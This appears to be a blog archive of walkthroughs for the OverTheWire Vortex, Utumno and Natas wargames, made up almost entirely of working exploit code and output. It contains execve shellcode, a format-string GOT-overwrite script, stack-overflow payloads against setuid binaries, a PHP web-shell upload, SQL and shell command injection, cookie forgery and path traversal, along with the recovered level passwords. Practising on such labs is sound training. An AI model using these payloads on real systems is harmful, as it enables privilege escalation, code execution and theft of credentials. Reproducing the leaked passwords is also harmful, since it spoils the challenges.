hacktracking: overthewire

Showing posts with label overthewire. Show all posts

# Vortex wargame: Level 4

# ssh vortex4@vortex.labs.overthewire.org
vortex4@vortex.labs.overthewire.org's password:32596d674b313d6a77

$ file /vortex/vortex4
/vortex/vortex4: setuid ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=11041f50a7845267e6d05f6f11dd37de0a33d423, not stripped

$ mkdir /tmp/v4
$ cd /tmp/v4
$ cat execve.c 
#include <unistd.h>

int main(int argc, char **argv){
 char *env[4];
 env[0]="";
 env[1]="EGG=\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";
 env[2]=argv[2];
 env[3]=NULL;
 execve(argv[1], NULL, env);
}
$ gcc -m32 -o execve execve.c
$ cat getenvaddr.c
#include <stdio.h>

int main(int argc,char *argv[]){
        char *ptr;
        ptr = getenv("EGG");
 ptr += 3;
        printf("%s will be at %p\n", "EGG", ptr);
        return 0;
}
$ gcc -m32 -o getenvaddr getenvaddr.c
$ cat format_string.py
#!/usr/bin/python

import sys
import struct

def whatprinted(what, printed):
 while what <= printed:
  what += 0x100
 what -= printed
 return what, what + printed

def fs_4writes(what, where, printed, init):
 mask     = 0xff
 printed  = 16 + printed # (4 bytes * 4 where_addresses) + printed
 what_b0  = (what      ) & mask
 what_b1  = (what >>  8) & mask
 what_b2  = (what >> 16) & mask
 what_b3  = (what >> 24) & mask

 what_b0, printed = whatprinted(what_b0, printed)
 what_b1, printed = whatprinted(what_b1, printed)
 what_b2, printed = whatprinted(what_b2, printed)
 what_b3, printed = whatprinted(what_b3, printed)

 return  struct.pack('<I',  where     ) + \
  struct.pack('<I', (where + 1)) + \
  struct.pack('<I', (where + 2)) + \
  struct.pack('<I', (where + 3)) + \
  ('%%%dc'    % what_b0  ) + \
  ('%%%d$hhn' % init     ) + \
  ('%%%dc'    % what_b1  ) + \
  ('%%%d$hhn' % (init + 1)     ) + \
  ('%%%dc'    % what_b2  ) + \
  ('%%%d$hhn' % (init + 2)     ) + \
  ('%%%dc'    % what_b3  ) + \
  ('%%%d$hhn' % (init + 3)     )

if len(sys.argv) == 7:

 mode    = sys.argv[1]
 what    = int(sys.argv[2], 16)
 where   = int(sys.argv[3], 16)
 printed = int(sys.argv[4])
 init    = int(sys.argv[5])
 align   = int(sys.argv[6])

 fs = fs_4writes(what, where, printed, init)
 align = '#' * align

 if mode == 'findinit':
  pop =   '%' + str(init) + '$x'
  pop += '-' * (len(fs) - len(pop))
  payload = pop + align
 elif mode == 'exploit':
  payload = fs  + align

 print payload
else:
 print sys.argv[0], '<mode> <what> <where> <printed> <init> <padding>'
$ gdb /vortex/vortex4
(gdb) set disassembly-flavor intel
(gdb) disassemble main
   0x0804844d <+0>: push   ebp
   0x0804844e <+1>: mov    ebp,esp
   0x08048450 <+3>: and    esp,0xfffffff0
   0x08048453 <+6>: sub    esp,0x10
   0x08048456 <+9>: cmp    DWORD PTR [ebp+0x8],0x0 argc =? 0
   0x0804845a <+13>: je     0x8048468 <main+27>
   0x0804845c <+15>: mov    DWORD PTR [esp],0x0
   0x08048463 <+22>: call   0x8048330 <exit@plt>
   0x08048468 <+27>: mov    eax,DWORD PTR [ebp+0xc]
   0x0804846b <+30>: add    eax,0xc
   0x0804846e <+33>: mov    eax,DWORD PTR [eax]
   0x08048470 <+35>: mov    DWORD PTR [esp],eax
   0x08048473 <+38>: call   0x8048310 <printf@plt>
   0x08048478 <+43>: mov    DWORD PTR [esp],0x0
   0x0804847f <+50>: call   0x8048330 <exit@plt>
$ readelf -r /vortex/vortex4

Relocation section '.rel.dyn' at offset 0x2ac contains 1 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
08049ffc  00000206 R_386_GLOB_DAT    00000000   __gmon_start__

Relocation section '.rel.plt' at offset 0x2b4 contains 4 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0804a00c  00000107 R_386_JUMP_SLOT   00000000   printf
0804a010  00000207 R_386_JUMP_SLOT   00000000   __gmon_start__
0804a014  00000307 R_386_JUMP_SLOT   00000000   exit
0804a018  00000407 R_386_JUMP_SLOT   00000000   __libc_start_main

$ ./execve /tmp/v4/getenvaddr `./format_string.py findinit 0xffffffff 0804a014 0 104 5`
EGG will be at 0xffffdf83
$ ./execve /tmp/v4/getenvaddr `./format_string.py findinit 0xffffdf83 0804a014 0 104 5`
EGG will be at 0xffffdf85
$ ./execve /vortex/vortex4 `./format_string.py findinit 0xffffdf85 0804a014 0 104 5`; echo
34303125------------------------------------------------------------##### %104 = init
$ ./execve /vortex/vortex4 `./format_string.py exploit 0xffffdf85 0804a014 0 104 5`; echo
$ whoami
vortex5
$ /bin/cat /etc/vortex_pass/vortex5
3a3456746243346c72

# Vortex wargame: Level 3

# ssh vortex3@vortex.labs.overthewire.org
vortex3@vortex.labs.overthewire.org's password:36346e635854767823

$ file /vortex/vortex3
/vortex/vortex3: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xfa95ff349b30e694b0106281d5c79e2b1ab997c2, not stripped
$ objdump --section=.plt --disassemble-all /vortex/vortex3 | grep -A 3 exit
08048320 <exit@plt>:
 8048320:       ff 25 38 97 04 08       jmp    *0x8049738
 8048326:       68 10 00 00 00          push   $0x10
 804832b:       e9 c0 ff ff ff          jmp    80482f0 <_init+0x3c>
$ readelf --sections /vortex/vortex3 | grep "\["
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        08048134 000134 000013 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            08048148 000148 000020 00   A  0   0  4
  [ 3] .note.gnu.build-i NOTE            08048168 000168 000024 00   A  0   0  4
  [ 4] .gnu.hash         GNU_HASH        0804818c 00018c 000020 04   A  5   0  4
  [ 5] .dynsym           DYNSYM          080481ac 0001ac 000060 10   A  6   1  4
  [ 6] .dynstr           STRTAB          0804820c 00020c 000051 00   A  0   0  1
  [ 7] .gnu.version      VERSYM          0804825e 00025e 00000c 02   A  5   0  2
  [ 8] .gnu.version_r    VERNEED         0804826c 00026c 000020 00   A  6   1  4
  [ 9] .rel.dyn          REL             0804828c 00028c 000008 08   A  5   0  4
  [10] .rel.plt          REL             08048294 000294 000020 08   A  5  12  4
  [11] .init             PROGBITS        080482b4 0002b4 00002e 00  AX  0   0  4
  [12] .plt              PROGBITS        080482f0 0002f0 000050 04  AX  0   0 16
  [13] .text             PROGBITS        08048340 000340 0001ec 00  AX  0   0 16
  [14] .fini             PROGBITS        0804852c 00052c 00001a 00  AX  0   0  4
  [15] .rodata           PROGBITS        08048548 000548 000008 00   A  0   0  4
  [16] .eh_frame_hdr     PROGBITS        08048550 000550 000034 00   A  0   0  4
  [17] .eh_frame         PROGBITS        08048584 000584 0000c0 00   A  0   0  4
  [18] .ctors            PROGBITS        08049644 000644 000008 00  WA  0   0  4
  [19] .dtors            PROGBITS        0804964c 00064c 000008 00  WA  0   0  4
  [20] .jcr              PROGBITS        08049654 000654 000004 00  WA  0   0  4
  [21] .dynamic          DYNAMIC         08049658 000658 0000c8 08  WA  6   0  4
  [22] .got              PROGBITS        08049720 000720 000004 04  WA  0   0  4
  [23] .got.plt          PROGBITS        08049724 000724 00001c 04  WA  0   0  4
  [24] .data             PROGBITS        08049740 000740 000010 00  WA  0   0  4
  [25] .bss              NOBITS          08049750 000750 000008 00  WA  0   0  4
  [26] .comment          PROGBITS        00000000 000750 00002a 01  MS  0   0  1
  [27] .shstrtab         STRTAB          00000000 00077a 0000fc 00      0   0  1
  [28] .symtab           SYMTAB          00000000 000d28 000440 10     29  45  4
  [29] .strtab           STRTAB          00000000 001168 000216 00      0   0  1
$ gdb -q /vortex/vortex3
(gdb) break main
(gdb) run
(gdb) find 0x08048134,0x08049750,0x8049738
0x80482a4
0x8048322 
0x80492a4
0x8049322
(gdb) quit
$ /vortex/vortex3 `perl -e 'print "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\x90"x106 . "\x22\x93\x04\x08"'`
$ /usr/bin/whoami
vortex4
$ /bin/cat /etc/vortex_pass/vortex4
32596d674b313d6a77

# Vortex wargame: Level 2

# ssh vortex2@vortex.labs.overthewire.org
vortex2@vortex.labs.overthewire.org's password:3233616e62545c7245

$ file /vortex/vortex2
/vortex/vortex2: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xa2068f9ce871bdff032adefe1a15d401744c3520, not stripped
$ vortex/vortex2 /etc/vortex_pass/vortex3
/bin/tar: Removing leading `/' from member names
$ cat /tmp/ownership.\$$.tar
etc/vortex_pass/vortex30000400001161300116130000000001212164101775015332 0ustar  vortex3vortex336346e635854767823

# Utumno wargame: Level 7

# ssh utumno7@utumno.labs.overthewire.org
utumno7@utumno.labs.overthewire.org's password:746f7469717565676165

utumno7@melissa$ file /utumno/utumno7
/utumno/utumno7: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped
utumno7@melissa$ export LD_POINTER_GUARD=0
utumno7@melissa$ /utumno/utumno7 `perl -e 'print "\x90"x118 . "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\xff\x23\xab\xff" . "\xff\x23\xab\xff"'`
^Z
[1]+  Stopped     /utumno/utumno7 `perl -e 'print "\x90"x118 . "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\xff\x23\xab\xff" . "\xff\x23\xab\xff"'`
utumno7@melissa$ jobs -l
[1]+ 30392 Stopped     /utumno/utumno7 `perl -e 'print "\x90"x118 . "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\xff\x23\xab\xff" . "\xff\x23\xab\xff"'`
utumno7@melissa$ kill -10 30392
utumno7@melissa$ fg
/utumno/utumno7 `perl -e 'print "\x90"x118 . "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\xff\x23\xab\xff" . "\xff\x23\xab\xff"'`
^Z
[1]+  Stopped     /utumno/utumno7 `perl -e 'print "\x90"x118 . "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\xff\x23\xab\xff" . "\xff\x23\xab\xff"'`
utumno7@melissa$ kill -12 30392
utumno7@melissa$ fg
/utumno/utumno7 `perl -e 'print "\x90"x118 . "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\xff\x23\xab\xff" . "\xff\x23\xab\xff"'`
$ /usr/bin/whoami
utumno8
$ /bin/cat /etc/utumno_pass/utumno8
6a616579656574696176

A special thanks to Xelenonz.

# Vortex wargame: Level 1

# ssh vortex1@vortex.labs.overthewire.org
vortex1@vortex.labs.overthewire.org's password:477123717533624633

$ file /vortex/vortex1
/vortex/vortex1: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped
$ (for i in `seq 1 10`; do perl -e 'print "\x5c"x89000000'; done; perl -e 'print "\x21"'; cat) | /vortex/vortex1
/usr/bin/whoami
vortex2
/bin/cat /etc/vortex_pass/vortex2
3233616e62545c7245

# Vortex wargame: Level 0

# cat v0.c
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>

int main(int argc,char *argv[]){
 int sfd,s;
 struct addrinfo server_hints;
 struct addrinfo *server_result;
 memset(&server_hints,0,sizeof(struct addrinfo));
 server_hints.ai_family=AF_UNSPEC;
 server_hints.ai_socktype=SOCK_STREAM;
 server_hints.ai_protocol=0;
 getaddrinfo(argv[1],argv[2],&server_hints,&server_result);
 sfd=socket(server_result->ai_family,server_result->ai_socktype,server_result->ai_protocol);
 if(connect(sfd,server_result->ai_addr,server_result->ai_addrlen)!=-1){
  freeaddrinfo(server_result);
  int i,result,uint[4];
  char credentials[64];
  bzero(credentials,sizeof(credentials));
  result=0;
  for(i=0;i<4;i++){
   recv(sfd,&uint[i],sizeof(int),0);
   printf("uint[%d] = %d\n",i,uint[i]);
   result+=uint[i];
  }
  send(sfd,&result,sizeof(int),0);
  recv(sfd,credentials,sizeof(credentials),0);
  printf("%s\n",credentials);
  close(sfd);
 }
 return 0;
}
# gcc -o v0 v0.c
# ./v0 vortex.labs.overthewire.org 5842
uint[0] = 1643010444
uint[1] = 1050412351
uint[2] = 559062867
uint[3] = 556524630
Username: vortex1 Password: 477123717533624633

# Natas wargame: Level 11 to 16

Level 11

# wget --quiet -O - --user=natas11 --password=SUIRtXqbB3tWzTOgTAX2t8UfMbYKrgp6 --post-data "submit=&bgcolor=#ffffff" --keep-session-cookies --save-cookies natas11.cookie http://natas11.natas.labs.overthewire.org
# cat xor_encrypt
#!/usr/bin/php
<?php
$key=json_encode(array("showpassword"=>"no","bgcolor"=>"#ffffff"));
$text=base64_decode($argv[1]);
$outText="";
for($i=0;$i<strlen($text);$i++){
        $outText.=$text[$i]^$key[$i%strlen($key)];
}
echo $outText;
?>
# grep natas natas11.cookie
natas11.natas.labs.overthewire.org      FALSE   /       FALSE   0       data    ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw%3D
# ./xor_encrypt ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw
qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq
# cat set_cookie
#!/usr/bin/php
<?php
$key=$argv[1];
$text=json_encode(array("showpassword"=>"yes","bgcolor"=>"#ffffff"));
$outText="";
for($i=0;$i<strlen($text);$i++){
        $outText.=$text[$i]^$key[$i%strlen($key)];
}
echo base64_encode($outText);
?>
# ./set_cookie qw8J
ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK
# string=`./set_cookie qw8J`
# sed -i "s/data\t.*%3D/data\t$string/" natas11.cookie
# wget --quiet -O - --user=natas11 --password=SUIRtXqbB3tWzTOgTAX2t8UfMbYKrgp6 --post-data 'submit=&bgcolor=#ffffff' --load-cookies natas11.cookie --keep-session-cookies --save-cookies natas11.cookie http://natas11.natas.labs.overthewire.org | grep natas12 | awk '{print $6}' | cut -b -32
sh7DrWKtb8xw9PIMkh8OQsgno6iZnJQu

Level 12

# curl --silent --user natas12:sh7DrWKtb8xw9PIMkh8OQsgno6iZnJQu --request POST --header "Content-Type: multipart/form-data; boundary=#" --data $'--#\r\nContent-Disposition: form-data; name="MAX_FILE_SIZE"\r\n\r\n1000\r\n--#\r\nContent-Disposition: form-data; name="filename"\r\n\r\nfuckyou.php\r\n--#\r\nContent-Disposition: form-data; name="uploadedfile"; filename="fuckyou.php"\r\nContent-Type: application/x-php\r\n\r\n<?php readfile("/etc/natas_webpass/natas13");?>\r\n--#--\r\n\r\n' http://natas12.natas.labs.overthewire.org | grep upload | awk -F\" '{print $2}'
upload/oijrt0cyhv.php
# curl --silent --user natas12:sh7DrWKtb8xw9PIMkh8OQsgno6iZnJQu http://natas12.natas.labs.overthewire.org/upload/oijrt0cyhv.php
IGCXqS4x472aoHZYaidvmeoWj2GmuRYz

Level 13

# curl --silent --user natas13:IGCXqS4x472aoHZYaidvmeoWj2GmuRYz --request POST --header "Content-Type: multipart/form-data; boundary=#" --data $'--#\r\nContent-Disposition: form-data; name="MAX_FILE_SIZE"\r\n\r\n1000\r\n--#\r\nContent-Disposition: form-data; name="filename"\r\n\r\nfuckyou.php\r\n--#\r\nContent-Disposition: form-data; name="uploadedfile"; filename="fuckyou.php"\r\nContent-Type: image/jpg\r\n\r\n'"`echo -n "ffd8ff" | xxd -p -r`"$'<?php readfile("/etc/natas_webpass/natas14");?>\r\n--#--\r\n\r\n' http://natas13.natas.labs.overthewire.org | grep upload | awk -F\" '{print $2}'
upload/pmg8woiyek.php
# curl --silent --user natas13:IGCXqS4x472aoHZYaidvmeoWj2GmuRYz http://natas13.natas.labs.overthewire.org/upload/pmg8woiyek.php | cut -b 4-
sSkCeug1bdrYejzAaBhgwI3qJXDKqlgh

Level 14

# curl --silent --user natas14:sSkCeug1bdrYejzAaBhgwI3qJXDKqlgh --request POST --data "username=\"or true#" http://natas14.natas.labs.overthewire.org | grep natas15 | awk '{print $8}' | cut -b -32
m2azll7JH6HS8Ay3SOjG3AGGlDGTJSTV

Level 15

# j=1; while [ true ]; do result=`curl --silent --user natas15:m2azll7JH6HS8Ay3SOjG3AGGlDGTJSTV --request POST --data "username=natas16\" and length(password)=$j#" http://natas15.natas.labs.overthewire.org | grep "This user exists"` ; if [ "$result" != "" ]; then echo $j; break; fi; j=$[$j+1]; done
32
# for i in `seq $j`; do for k in `seq 33 126`; do result=`curl --silent --user natas15:m2azll7JH6HS8Ay3SOjG3AGGlDGTJSTV --request POST --data "username=natas16\" and ascii(substr((select password),$i,1))=$k#" http://natas15.natas.labs.overthewire.org | grep "This user exists"` ; if [ "$result" != "" ]; then echo "obase=16;ibase=10;$k" | bc -l | xxd -p -r ; break; fi; done; done; echo
3VfCzgaWjEAcmCQphiEPoXi9HtlmVr3L

Level 16

# wget --quiet -O - --user=natas16 --password=3VfCzgaWjEAcmCQphiEPoXi9HtlmVr3L --post-data 'submit=&needle=$(cat /etc/natas_webpass/natas17 > /tmp/natas17)' http://natas16.natas.labs.overthewire.org > /dev/null
# wget --quiet -O - --user=natas9 --password=sQ6DKR8ICwqDMTd48lQlJfbF1q9B3edT --post-data 'submit=&needle=;cat /tmp/natas17;' http://natas9.natas.labs.overthewire.org | grep -v -e ^$ -e ^\< | tail -n 1
9HBzt5ljtPAgmaYvNfZ8chZVq50oepsx

# Natas wargame: Level 0 to 10

Level 0

# wget --quiet -O - --user=natas0 --password=natas0 http://natas0.natas.labs.overthewire.org | grep natas1 | awk '{print $6}'
9hSaVoey44Puz0fbWlHtZh5jTooLVplC

Level 1

# wget --quiet -O - --user=natas1 --password=9hSaVoey44Puz0fbWlHtZh5jTooLVplC http://natas1.natas.labs.overthewire.org | grep natas2 | awk '{print $6}'
aRJMGKT6H7AOfGwllwocI2QwVyvo7dcl

Level 2

# wget --quiet -O - --user=natas2 --password=aRJMGKT6H7AOfGwllwocI2QwVyvo7dcl http://natas2.natas.labs.overthewire.org | grep files
<img src="files/pixel.png">
# wget --quiet -O - --user=natas2 --password=aRJMGKT6H7AOfGwllwocI2QwVyvo7dcl http://natas2.natas.labs.overthewire.org/files
# wget --quiet -O - --user=natas2 --password=aRJMGKT6H7AOfGwllwocI2QwVyvo7dcl http://natas2.natas.labs.overthewire.org/files/users.txt | grep natas3 | awk -F\: '{print $2}'
lOHYKVT34rB4agsz1yPJ2QvENy7YnxUb

Level 3

# wget --quiet -O - --user=natas3 --password=lOHYKVT34rB4agsz1yPJ2QvENy7YnxUb http://natas3.natas.labs.overthewire.org/robots.txt | grep Disallow
Disallow: /s3cr3t/
# wget --quiet -O - --user=natas3 --password=lOHYKVT34rB4agsz1yPJ2QvENy7YnxUb http://natas3.natas.labs.overthewire.org/s3cr3t/users.txt | grep natas4 | awk -F\: '{print $2}'
8ywPLDUB2yY2ujFnwGUdWWp8MT4yZrqz

Level 4

# wget --quiet -O - --user=natas4 --password=8ywPLDUB2yY2ujFnwGUdWWp8MT4yZrqz --referer=http://natas5.natas.labs.overthewire.org/ http://natas4.natas.labs.overthewire.org | grep natas5 | awk '{print $8}'
V0p12qz30HEUU22dz7CZGHiFk3VdPA9Z

Level 5

# wget --quiet -O - --user=natas5 --password=V0p12qz30HEUU22dz7CZGHiFk3VdPA9Z --keep-session-cookies --save-cookies natas5.cookie http://natas5.natas.labs.overthewire.org
# sed -i 's/0$/1/' natas5.cookie
# wget --quiet -O - --user=natas5 --password=V0p12qz30HEUU22dz7CZGHiFk3VdPA9Z --keep-session-cookies --load-cookies natas5.cookie http://natas5.natas.labs.overthewire.org | grep natas6 | awk '{print $8}' | awk -F\< '{print $1}'
mfPYpp1UBKKsx7g4F0LaRjhKKenYAOqU

Level 6

# wget --quiet -O - --user=natas6 --password=mfPYpp1UBKKsx7g4F0LaRjhKKenYAOqU http://natas6.natas.labs.overthewire.org/includes/secret.inc | grep secret | awk -F\" '{print $2}'
FOEIUWGHFEEUHOFUOIU
# wget --quiet -O - --user=natas6 --password=mfPYpp1UBKKsx7g4F0LaRjhKKenYAOqU --post-data 'submit=&secret=FOEIUWGHFEEUHOFUOIU' http://natas6.natas.labs.overthewire.org | grep natas7 | awk '{print $8}'
XLoIufz83MjpTrtPvP9iAtgF48EWjicU

Level 7

# wget --quiet -O - --user=natas7 --password=XLoIufz83MjpTrtPvP9iAtgF48EWjicU http://natas7.natas.labs.overthewire.org | grep natas8
<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->
# wget --quiet -O - --user=natas7 --password=XLoIufz83MjpTrtPvP9iAtgF48EWjicU http://natas7.natas.labs.overthewire.org/index.php?page=../../../../etc/natas_webpass/natas8 | grep -v -e \< -e ^$
maabkdexUStb6JJXUqmBx7Re8M61cksn

Level 8

# wget --quiet -O - --user=natas8 --password=maabkdexUStb6JJXUqmBx7Re8M61cksn http://natas8.natas.labs.overthewire.org/index-source.html | sed -e 's/color/\n/g' | grep -m 1 DD0000 | awk -F\" '{print $3}'
3d3d516343746d4d6d6c315669563362
# echo -n "3d3d516343746d4d6d6c315669563362" | xxd -p -r | rev | base64 --decode && echo
oubWYf2kBq

Level 9

# wget --quiet -O - --user=natas9 --password=sQ6DKR8ICwqDMTd48lQlJfbF1q9B3edT --post-data 'submit=&needle=;/usr/bin/find / | /bin/grep natas10;' http://natas9.natas.labs.overthewire.org | grep natas10
/var/www/natas/natas10
/home/natas10
/home/natas10/.bashrc
/home/natas10/.bash_logout
/home/natas10/.profile
/etc/apache2/sites-available/VHOST.natas10.natas.labs.overthewire.org
/etc/apache2/sites-enabled/VHOST.natas10.natas.labs.overthewire.org
/etc/natas_webpass/natas10
# wget --quiet -O - --user=natas9 --password=sQ6DKR8ICwqDMTd48lQlJfbF1q9B3edT --post-data 'submit=&needle=;/bin/echo "#$(/bin/cat /etc/natas_webpass/natas10)#";' http://natas9.natas.labs.overthewire.org | awk -F\# '{print $2}' | grep -v ^$
s09byvi8880wqhbnonMFMW8byCojm8eA

Level 10

# wget --quiet -O - --user=natas10 --password=s09byvi8880wqhbnonMFMW8byCojm8eA --post-data 'submit=&needle=. /etc/natas_webpass/natas11 #"' http://natas10.natas.labs.overthewire.org | grep -v -e ^\< -e ^$ | tail -n 1
SUIRtXqbB3tWzTOgTAX2t8UfMbYKrgp6

# Utumno wargame: Level 6

# ssh utumno6@utumno.labs.overthewire.org
utumno6@utumno.labs.overthewire.org's password:65696c75717569657468

utumno6@melissa$ file /utumno/utumno6
/utumno/utumno6: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, not stripped
utumno6@melissa$ export EGG=`perl -e 'print "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"'`
utumno6@melissa$ /tmp/u6/getenvaddr EGG /utumno/utumno6
EGG will be at 0xffffd977
utumno6@melissa$ /utumno/utumno6 `perl -e 'print "-1 ffffd6ac \x77\xd9\xff\xff" . "\xff"x60 . "\x77\xd9\xff\xff"'`
Table position -1 has value -9865
Description: 1À°
                Rh//shh/binãRâSáÍ
$ /usr/bin/whoami
utumno7
$ /bin/cat /etc/utumno_pass/utumno7
746f7469717565676165

# Utumno wargame: Level 5

# ssh utumno5@utumno.labs.overthewire.org
utumno5@utumno.labs.overthewire.org's password:776f756361656a69656b

utumno5@melissa$ file /utumno/utumno5
/utumno/utumno5: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, not stripped
utumno5@melissa$ mkdir /tmp/u5
utumno5@melissa$ cd !$
utumno5@melissa$ cat execve2.c
#include <unistd.h>
int main(){
        char *args[4];
        char *env[12];
        args[0]="/tmp/u5/getenvaddr";
        args[1]="EGG";
        args[2]="/utumno/utumno5";
        args[3]="NULL";
        env[0]=env[1]=env[2]=env[3]=env[4]=env[5]=env[6]=env[7]=env[8]="";
        env[9]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xa1\xa2\xa3\xa4";
        env[10]="EGG=\xb1\xb2\xb3\xb4\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";
        env[11]=NULL;
        execve("/tmp/u5/getenvaddr",args,env);
}
utumno5@melissa$ cat getenvaddr.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc,char *argv[]){
        char *ptr;
        ptr=getenv(argv[1]);
        ptr+=(strlen(argv[0])-strlen(argv[2])); // *2 -> Name only in argv but not in env var
        printf("%s will be at %p\n",argv[1],ptr);
        return 0;
}
utumno5@melissa$ gcc -m32 -o execve2 execve2.c && gcc -m32 -o getenvaddr getenvaddr.c
utumno5@melissa$ ./execve2
EGG will be at 0xffffdfc9
utumno5@melissa$ gdb -q
(gdb) #>address+shellcode
(gdb) print /x 0xffffdfc9 - 0x4
$1 = 0xffffdfc5
(gdb) #>EGG=address+shellcode
(gdb) print /x 0xffffdfc9 + 0x4
$2 = 0xffffdfcd
(gdb) #>shellcode
utumno5@melissa$ cat execve.c
#include <unistd.h>

int main(){
        char *env[12];
        env[0]=env[1]=env[2]=env[3]=env[4]=env[5]=env[6]=env[7]=env[8]="";
        env[9]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xc5\xdf\xff\xff";
        env[10]="EGG=\xcd\xdf\xff\xff\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";
        env[11]=NULL;
        execve("/utumno/utumno5",NULL,env);
}
utumno5@melissa$ gcc -m32 -o execve execve.c
utumno5@melissa$ ./execve
Here we go - Åßÿÿ
$ /usr/bin/whoami
utumno6
$ /bin/cat /etc/utumno_pass/utumno6
65696c75717569657468

# Utumno wargame: Level 4

# ssh utumno4@utumno.labs.overthewire.org
utumno4@utumno.labs.overthewire.org's password:6f6f6769656c656f6761

utumno4@melissa$ file /utumno/utumno4
/utumno/utumno4: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, not stripped
utumno4@melissa$ /utumno/utumno4 65536 `perl -e 'print "\x90"x65250 . "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\x90"x18 . "\xdd\xdd\xfd\xff" . "\x90"x238'`
$ /usr/bin/whoami
utumno5
$ /bin/cat /etc/utumno_pass/utumno5
776f756361656a69656b

# Utumno wargame: Level 3

# ssh utumno3@utumno.labs.overthewire.org
utumno3@utumno.labs.overthewire.org's password:7a757564616669696e65

utumno3@melissa$ file /utumno/utumno3
/utumno/utumno3: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, not stripped
utumno3@melissa$ export EGG=`perl -e 'print "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"'`
utumno3@melissa$ (perl -e 'print "\x2c\x77\x2e\xd9\x28\xff\x26\xff" . "\n"x9' ; cat) | /utumno/utumno3
/usr/bin/whoami
utumno4
/bin/cat /etc/utumno_pass/utumno4
6f6f6769656c656f6761

Pseudocode

a = '0'
b = '0'
[begin]
 a = getchar()
 if (a == EOF) | (b > 23) then exit()
 c = xor(a,3*b)
 d = $esp + 32 + c
 [d] = getchar()
 b = b + 1
 jump to [begin]

# Utumno wargame: Level 2

# ssh utumno2@utumno.labs.overthewire.org
utumno2@utumno.labs.overthewire.org's password:63656577616365697068

utumno2@melissa$ file /utumno/utumno2
/utumno/utumno2: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, not stripped
utumno2@melissa$ mkdir /tmp/u2
utumno2@melissa$ cd !$
utumno2@melissa$ cat execve.c
#include <unistd.h>

int main(){
        char *env[11];
        env[0]=env[1]=env[2]=env[3]=env[4]=env[5]=env[6]=env[7]=env[8]="";
